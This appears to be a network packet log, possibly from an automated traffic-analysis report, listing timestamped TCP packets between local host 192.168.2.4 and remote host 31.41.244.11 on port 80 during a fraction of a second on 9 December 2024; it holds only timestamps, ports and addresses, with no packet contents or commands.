Dec 9, 2024 20:28:11.990149975 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.990185976 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.990238905 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.991219997 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.991295099 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.991326094 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.991375923 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.992240906 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.992297888 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.992326975 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.992376089 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.993340015 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.993407011 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.993447065 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.993494987 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.994395971 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.994452953 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.994623899 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.994674921 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.995429039 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.995486975 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.995526075 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.995574951 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.996501923 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.996547937 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.996579885 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.996624947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.997559071 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.997607946 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.997636080 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.997675896 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.998673916 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.998703957 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.998723984 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.998752117 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.999694109 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.999747038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.999952078 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.999995947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.000766993 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.000818968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.000902891 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.000948906 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.001835108 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.001888037 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.001934052 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.001976967 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.002904892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.002955914 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.139442921 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.139507055 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.139569998 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.139595032 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.139758110 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.139805079 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.139883995 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.139928102 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.140897989 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.140942097 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.140974045 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.141017914 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.141949892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.141999006 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.142055035 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.142100096 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.143022060 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.143073082 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.143177986 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.143225908 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.144074917 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.144120932 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.144258976 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.144301891 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.145160913 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.145230055 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.145289898 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.145358086 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.146204948 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.146249056 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.146363974 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.146406889 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.147281885 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.147326946 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.147373915 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.147417068 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.148312092 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.148360968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.148478031 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.148515940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.149365902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.149411917 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.149442911 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.149482965 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.150441885 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.150486946 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.150698900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.150741100 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.151513100 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.151556015 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.151654005 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.151695967 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.152573109 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.152615070 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.152631044 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.152668953 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.153827906 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.153872967 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.153996944 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.154035091 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.154704094 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.154747963 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.154838085 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.154880047 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.155806065 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.155852079 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.155911922 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.155947924 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.156846046 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.156888962 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.157043934 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.157084942 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.157891035 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.157938957 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.157987118 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.158029079 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.158970118 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.159013033 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.159077883 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.159120083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.160078049 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.160124063 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.160173893 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.160222054 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.161147118 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.161191940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.161216974 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.161262989 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.162249088 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.162295103 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.162312984 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.162359953 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.163353920 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.163402081 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.163502932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.163543940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.164314985 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.164371014 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.164493084 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.164535046 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.165364981 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.165410995 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.165472984 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.165514946 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.166431904 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.166481018 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.166522980 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.166564941 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.167459965 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.167514086 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.167574883 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.167618990 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.168554068 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.168598890 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.168834925 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.168884993 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.169663906 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.169711113 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.169756889 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.169794083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.170659065 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.170705080 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.170736074 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.170778036 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.171792030 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.171840906 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.171895027 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.171933889 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.172853947 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.172918081 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.172938108 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.172992945 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.173892021 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.173940897 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.173981905 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.174026012 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.174920082 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.174976110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.175080061 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.175127029 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.176038027 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.176088095 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.176264048 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.176321983 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.177100897 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.177148104 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.177180052 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.177220106 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.178149939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.178193092 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.178363085 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.178402901 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.179219961 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.179263115 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.179338932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.179380894 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.180274010 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.180316925 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.180382013 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.180424929 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.181449890 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.181497097 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.181651115 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.181691885 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.182419062 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.182462931 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.182521105 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.182562113 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.183478117 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.183521986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.183681011 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.183725119 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.184520006 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.184565067 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.184657097 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.184714079 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.185888052 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.185930967 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.185934067 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.185966015 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.186656952 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.186728954 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.186887026 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.186930895 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.187758923 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.187802076 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.187889099 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.187928915 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.188805103 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.188847065 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.188904047 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.188940048 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.189894915 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.189941883 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.189977884 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.190016985 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.191179991 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.191226959 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.191325903 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.191373110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.192013979 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.192058086 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.192087889 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.192126989 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.193089008 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.193135023 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.193191051 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.193231106 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.194135904 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.194181919 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.194335938 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.194375038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.195211887 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.195254087 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.331202984 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.331337929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.331367016 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.331402063 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.331793070 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.331834078 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.331885099 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.331935883 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.332767963 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.332813978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.332843065 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.332886934 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.333837986 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.333884954 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.333949089 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.334002018 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.334836960 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.334882021 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.334942102 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.334985971 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.335903883 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.335952044 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.335983992 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.336020947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.337089062 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.337132931 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.337292910 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.337336063 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.338103056 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.338143110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.338248014 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.338288069 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.339137077 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.339181900 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.339234114 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.339268923 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.340298891 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.340321064 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.340348959 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.340369940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.341284990 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.341331005 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.341396093 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.341433048 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.342310905 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.342355013 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.342413902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.342451096 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.343369007 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.343413115 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.343548059 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.343585968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.344445944 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.344487906 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.344502926 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.344541073 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.345487118 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.345529079 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.345603943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.345648050 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.346561909 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.346637011 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.346734047 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.346777916 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.347667933 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.347714901 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.347780943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.347820044 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.348695040 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.348737001 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.348828077 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.348866940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.349740982 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.349786997 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.349853992 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.349890947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.350831985 CET	80	49795	31.41.244.11	192.168.2.4
